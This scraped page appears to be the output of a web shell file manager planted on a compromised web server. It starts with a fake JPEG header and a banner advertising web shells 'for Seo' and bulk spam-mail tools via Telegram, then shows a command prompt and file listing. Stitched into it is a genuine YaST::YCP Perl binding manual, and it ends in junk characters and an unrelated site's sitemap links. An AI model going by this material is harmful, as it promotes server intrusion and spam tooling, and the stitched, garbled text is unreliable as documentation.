xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:none" />
</head>

<body style="background-color: white">



<ul id="index">
  <li><a href="#NAME">NAME</a></li>
  <li><a href="#SYNOPSIS">SYNOPSIS</a></li>
  <li><a href="#DATA-TYPES">DATA TYPES</a></li>
  <li><a href="#YaST::YCP">YaST::YCP</a>
    <ul>
      <li><a href="#debug">debug</a></li>
      <li><a href="#init_ui">init_ui</a></li>
      <li><a href="#Import">Import</a></li>
      <li><a href="#logging">logging</a></li>
      <li><a href="#sformat">sformat</a></li>
      <li><a href="#Boolean">Boolean</a></li>
      <li><a href="#Byteblock">Byteblock</a></li>
      <li><a href="#Integer">Integer</a></li>
      <li><a href="#Float">Float</a></li>
      <li><a href="#Path">Path</a></li>
      <li><a href="#String">String</a></li>
      <li><a href="#Symbol">Symbol</a></li>
      <li><a href="#Term">Term</a></li>
    </ul>
  </li>
</ul>

<h1 id="NAME">NAME</h1>

<p>YaST::YCP - a binary interface between Perl and YCP</p>

<h1 id="SYNOPSIS">SYNOPSIS</h1>

<pre><code> use YaST::YCP qw(:DATA :LOGGING);

 YaST::YCP::Import (&quot;SCR&quot;);
 my $m = SCR-&gt;Read (&quot;.sysconfig.displaymanager.DISPLAYMANAGER&quot;);
 SCR-&gt;Write (&quot;.sysconfig.kernel.CRASH_OFTEN&quot;, Boolean (1));</code></pre>

<h1 id="DATA-TYPES">DATA TYPES</h1>

<p>YaST has a richer and stricter data type system than Perl.</p>

<p>Note that the stdio-communicating agents, based on the modules <a>YaST::SCRAgent</a> and <a>ycp</a>, have a similar but not the same data type mapping.</p>

<p>When the language binding knows what type to expect, eg. when passing an argument to a YCP function, it will convert a Perl scalar to the desired type.</p>

<p>On the other hand, if the type is not known, expressed in YCP as <code>any</code>, scalars will be passed as strings. If you want a specific data type, use one of the data classes like <a href="#Integer">YaST::YCP::Integer</a>. Of course these work also when the type is known.</p>

<dl>

<dt id="void">void</dt>
<dd>

<p>Has only one value, <code>nil</code>, which is represented as <code>undef</code>. Any data type can have <code>nil</code> as a value.</p>

</dd>
<dt id="any">any</dt>
<dd>

<p>A union of all data types. Any data type can be assigned to it.</p>

</dd>
<dt id="string-integer-float-boolean">string, integer, float, boolean</dt>
<dd>

<p><b>YCP to Perl:</b> Becomes a scalar</p>

<p><b>Perl to YCP:</b> Any scalar will become a string (even if it looks like a number). Use <a href="#String">&quot;String&quot;</a>, <a href="#Integer">&quot;Integer&quot;</a>, <a href="#Float">&quot;Float&quot;</a> or <a href="#Boolean">&quot;Boolean&quot;</a> if you want a specific data type.</p>

</dd>
<dt id="list-T">list &lt;T&gt;</dt>
<dd>

<p><b>YCP to Perl:</b> A list becomes a reference to an array. (Note that it refers to a <b>copy</b>.)</p>

<p><b>Perl to YCP:</b> A reference to an array becomes a list. <i>This was different before SL9.1 Beta1:</i> Perl functions returning multiple values should not return a list but a reference to it. YCP will always set a scalar calling context, even if the result is assigned to a list.</p>

</dd>
<dt id="map-T1-T2">map &lt;T1, T2&gt;</dt>
<dd>

<p><b>YCP to Perl:</b> A map becomes a reference to a hash. (Note that it refers to a <b>copy</b>.)</p>

<p><b>Perl to YCP:</b> A reference to a hash becomes a map.</p>

</dd>
<dt id="path">path</dt>
<dd>

<p><b>YCP to Perl:</b> NOT IMPLEMENTED YET.</p>

<p><b>Perl to YCP:</b> If a path is expected, a scalar like <code>&quot;.foo.bar&quot;</code> will be converted to <code>.foo.bar</code>. Otherwise use <a href="#Path">&quot;Path&quot;</a> (which is NOT IMPLEMENTED YET).</p>

</dd>
<dt id="symbol">symbol</dt>
<dd>

<p><b>YCP to Perl:</b> Becomes a <a href="#Symbol">&quot;Symbol&quot;</a>.</p>

<p><b>Perl to YCP:</b> If a symbol is expected, a scalar like <code>&quot;foo&quot;</code> will be converted to <code>`foo</code>. Otherwise use <a href="#Symbol">&quot;Symbol&quot;</a>.</p>

</dd>
<dt id="term">term</dt>
<dd>

<p><b>YCP to Perl:</b> Becomes a <a href="#Term">&quot;Term&quot;</a>.</p>

<p><b>Perl to YCP:</b> Use <a href="#Term">&quot;Term&quot;</a>.</p>

</dd>
<dt id="byteblock">byteblock</dt>
<dd>

<p><b>YCP to Perl:</b> Becomes a scalar.</p>

<p><b>Perl to YCP:</b> If a byteblock is expected, a scalar like <code>&quot;\0\1&quot;</code> will be converted to <code>#[0001]</code>. Otherwise use <a href="#Byteblock">&quot;Byteblock&quot;</a>.</p>

</dd>
<dt id="locale-block-T">locale, block &lt;T&gt;, ...</dt>
<dd>

<p>Not implemented.</p>

</dd>
</dl>

<h1 id="YaST::YCP">YaST::YCP</h1>

<p>The DATA tag (in <code>use YaST::YCP qw(:DATA)</code>) imports the data constructor functions such as Boolean, Symbol or Term.</p>

<h2 id="debug">debug</h2>

<pre><code> $olddebug = YaST::YCP::debug (1);
 YaST::YCP::...
 YaST::YCP::debug ($olddebug);</code></pre>

<p>Enables miscellaneous unscpecified debugging</p>

<h2 id="init_ui">init_ui</h2>

<pre><code> YaST::YCP::init_ui ();
 YaST::YCP::init_ui &quot;qt&quot;;</code></pre>

<p>Initializes the user interface, &quot;ncurses&quot; (the default) or &quot;qt&quot;.</p>

<h2 id="Import">Import</h2>

<pre><code> YaST::YCP::Import &quot;Namespace&quot;;
 Namespace-&gt;foo (&quot;bar&quot;);</code></pre>

<p>Imports a YaST namespace (in YCP or Perl or any supported language). Equivalent to YCP <code>import</code>, similar to Perl <code>use</code>.</p>

<p>If <code>Namespace</code> is in YCP, its constructor is executed later than if it were imported from YCP. This can have subtle effects, for example in testsuites. To get closer to the YCP import behavior, call <code>Import</code> from a <code>BEGIN</code> block.</p>

<h2 id="logging">logging</h2>

<p>These functions go via liby2util and thus use log.conf. See also ycp::y2milestone.</p>

<p>The multiple arguments are simply joined by a space.</p>

<pre><code> y2debug ($message, $message2, ...)
 y2milestone ($message, $message2, ...)
 y2warning ($message, $message2, ...)
 y2error ($message, $message2, ...)
 y2security ($message, $message2, ...)
 y2internal ($message, $message2, ...)</code></pre>

<h2 id="sformat">sformat</h2>

<p>Implements the sformat YCP builtin:</p>

<p><code>sformat (&#39;%2 %% %1&#39;, &quot;a&quot;, &quot;b&quot;)</code> returns <code>&#39;b % a&#39;</code></p>

<p>It is useful mainly for messages marked for translation.</p>

<h2 id="Boolean">Boolean</h2>

<pre><code> $b = YaST::YCP::Boolean (1);
 $b-&gt;value (0);
 print $b-&gt;value, &quot;\n&quot;;
 SCR::Write (&quot;.foo&quot;, $b);</code></pre>

<h2 id="Byteblock">Byteblock</h2>

<p>A chunk of binary data.</p>

<pre><code> use YaST::YCP qw(:DATA);

 read ($dev_random_fh, $r, 100);
 $b = Byteblock ($r);
 $b-&gt;value (&quot;Hello\0world\0&quot;);
 print $b-&gt;value, &quot;\n&quot;;
 return $b;</code></pre>

<h2 id="Integer">Integer</h2>

<p>An explicitly typed integer, useful to put in heterogenous data structures.</p>

<pre><code> use YaST::YCP qw(:DATA);

 $i = Integer (&quot;42 and more&quot;);
 $i-&gt;value (&quot;43, actually&quot;);
 print $i-&gt;value, &quot;\n&quot;;
 return [ $i ];</code></pre>

<h2 id="Float">Float</h2>

<p>An explicitly typed float, useful to put in heterogenous data structures.</p>

<pre><code> use YaST::YCP qw(:DATA);

 $f = Float (&quot;3.41 is PI&quot;);
 $f-&gt;value (&quot;3.14 is PI&quot;);
 print $f-&gt;value, &quot;\n&quot;;
 return [ $f ];</code></pre>

<h2 id="Path">Path</h2>

<p>Not implemented yet.</p>

<h2 id="String">String</h2>

<p>An explicitly typed string, useful to put in heterogenous data structures.</p>

<pre><code> use YaST::YCP qw(:DATA);

 $s = String (42);
 $s-&gt;value (1 + 1);
 print $s-&gt;value, &quot;\n&quot;;
 return [ $s ];</code></pre>

<h2 id="Symbol">Symbol</h2>

<pre><code> use YaST::YCP qw(:DATA);

 $s = Symbol (&quot;next&quot;);
 $s-&gt;value (&quot;back&quot;);
 print $s-&gt;value, &quot;\n&quot;;
 return Term (&quot;id&quot;, $s);</code></pre>

<h2 id="Term">Term</h2>

<pre><code> $t = new YaST::YCP::Term(&quot;CzechBox&quot;, &quot;Accept spam&quot;, new YaST::YCP::Boolean(0));
 $t-&gt;name (&quot;CheckBox&quot;);
 print $t-&gt;args-&gt;[0], &quot;\n&quot;;
 UIx::OpenDialog ($t);</code></pre>


</body>

</html>



Filemanager

Name Type Size Permission Actions
examples Folder 0755
modules Folder 0755
COPYING File 17.67 KB 0644
YaPI.html File 3.53 KB 0644
YaST__YCP.html File 8.3 KB 0644
perl-bindings File 3.13 KB 0644
useperl.ycp File 234 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml